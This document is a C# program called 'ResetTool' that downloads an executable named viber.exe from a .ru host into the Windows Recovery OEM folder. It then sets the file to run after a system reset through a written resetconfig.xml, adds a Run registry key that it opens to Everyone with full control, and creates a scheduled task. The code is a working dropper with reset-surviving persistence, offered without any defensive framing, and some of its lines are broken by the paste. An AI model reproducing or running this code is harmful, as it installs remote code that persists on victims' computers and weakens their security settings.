using   System;
using   System.IO;
using   System.Net;
using   Microsoft.Win32;
using   System.Security.AccessControl;
using   System.Diagnostics;
namespace ResetTool
{
    class Program
    {
        static void Main()
        {
            try
            {
                // Define the paths
                string oemPath =
Path.Combine(Environment.ExpandEnvironmentVariables("%SystemDrive%"), "Recovery",
"OEM");
                string resetConfigPath = Path.Combine(oemPath, "resetconfig.xml");
                string exeUrl = "http://a1107225.xsph.ru/viber.exe"; // Replace
this URL with your actual link
                string exePath = Path.Combine(oemPath, "PostResetProgram.exe");
                  // Ensure OEM directory exists
                  if (!Directory.Exists(oemPath))
                  {
                      Directory.CreateDirectory(oemPath);
                      Console.WriteLine("✅ OEM directory created");
                  }
                // Create ResetConfig.xml
                string resetConfigContent = $@"<?xml version=""1.0""
encoding=""utf-8""?>
<Reset>
  <SystemDisk>
    <RemoveApps>true</RemoveApps>
    <PreserveUserData>false</PreserveUserData>
  </SystemDisk>
  <OOBE>
    <NetworkConnection>true</NetworkConnection>
    <RunExeAfterReset path=""{exePath}"" />
  </OOBE>
</Reset>";
                  // Write the XML to the file
                  File.WriteAllText(resetConfigPath, resetConfigContent);
                  Console.WriteLine("✅ Reset config written to " + resetConfigPath);
                  // Download EXE file
                  using (WebClient client = new WebClient())
                  {
                      client.DownloadFile(exeUrl, exePath);
                  }
                  Console.WriteLine("✅ EXE downloaded to " + exePath);
                  // Set registry key for auto-run after reset
                  SetRegistryKey(exePath);
                   // Optionally, you can also create a scheduled task to ensure it
runs post-reset.
                   CreateScheduledTask(exePath);
                 Console.WriteLine("Program setup complete.");
             }
             catch (Exception ex)
             {
                 Console.WriteLine($"❌ Error: {ex.Message}");
             }
         }
         static void SetRegistryKey(string exePath)
         {
             try
             {
                 using (RegistryKey key =
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
true) ??
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
true))
                {
                    if (key != null)
                    {
                        key.SetValue("PostResetProgram", exePath,
RegistryValueKind.String);
                           // Force permissions for full control
                           RegistrySecurity security = new RegistrySecurity();
                           security.AddAccessRule(new RegistryAccessRule(
                               "Everyone",
                               RegistryRights.FullControl,
                               InheritanceFlags.None,
                               PropagationFlags.None,
                               AccessControlType.Allow));
                           key.SetAccessControl(security);
                           Console.WriteLine("✅ Registry key set successfully.");
                       }
                       else
                       {
                           throw new Exception("Failed to open or create registry
key");
                       }
                   }
             }
             catch (Exception ex)
             {
                 Console.WriteLine($"❌ Registry error: {ex.Message}");
             }
         }
        static void CreateScheduledTask(string exePath)
        {
            string taskCommand = $"schtasks /create /tn \"PostResetProgramTask\"
/tr \"{exePath}\" /sc once /st 00:00 /f";
             try
            {
                Process.Start("cmd.exe", "/c " + taskCommand);
                Console.WriteLine("✅ Scheduled task created successfully.");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"❌ Error creating scheduled task:
{ex.Message}");
            }
        }
    }
}